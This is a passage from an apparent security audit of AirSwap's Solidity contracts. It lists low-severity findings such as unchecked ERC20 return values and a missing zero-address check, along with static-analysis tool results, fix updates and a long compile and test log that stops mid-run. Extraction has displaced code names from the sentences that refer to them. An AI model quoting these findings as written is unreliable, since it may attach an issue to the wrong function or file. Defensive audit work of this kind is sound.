gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves 